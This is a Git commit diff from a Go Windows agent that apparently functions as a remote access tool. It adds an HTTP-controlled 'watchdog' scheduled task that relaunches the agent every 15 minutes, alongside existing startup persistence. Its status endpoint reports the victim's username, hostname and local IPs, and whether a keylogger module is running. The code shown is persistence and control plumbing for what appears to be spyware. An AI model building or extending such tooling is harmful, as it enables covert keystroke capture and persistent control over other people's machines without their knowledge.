feat(watchdog): separate watchdog from startup
- Add /api/v1/watchdog to enable/disable - Scheduled task now runs every 15 minutes - Use schtasks command line instead of XML - Dashboard shows watchdog enabled state - Preserve watchdog state during install
This commit is contained in:
+34
-5
@@ -55,8 +55,9 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
|
||||
"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
|
||||
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
||||
"agent_version": config.Version, "listen_address": a.addr,
|
||||
"startup_enabled": startup.Enabled(),
|
||||
"klogging": keylog.Running(),
|
||||
"startup_enabled": startup.Enabled(),
|
||||
"watchdog_enabled": startup.WatchdogEnabled(),
|
||||
"klogging": keylog.Running(),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -65,20 +66,48 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
|
||||
case http.MethodPost:
|
||||
if err := startup.Enable(); err != nil {
|
||||
helpers.Log.Printf("startup enable: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup")
|
||||
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
case http.MethodDelete:
|
||||
if err := startup.Disable(); err != nil {
|
||||
helpers.Log.Printf("startup disable: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup")
|
||||
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
|
||||
helpers.WriteJSON(w, http.StatusOK, persistState())
|
||||
}
|
||||
|
||||
func (a *Agent) handleWatchdog(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodPost:
|
||||
if err := startup.EnableWatchdog(); err != nil {
|
||||
helpers.Log.Printf("watchdog enable: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
case http.MethodDelete:
|
||||
if err := startup.DisableWatchdog(); err != nil {
|
||||
helpers.Log.Printf("watchdog disable: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, persistState())
|
||||
}
|
||||
|
||||
func persistState() map[string]any {
|
||||
return map[string]any{
|
||||
"startup_enabled": startup.Enabled(),
|
||||
"watchdog_enabled": startup.WatchdogEnabled(),
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
Reference in New Issue
Block a user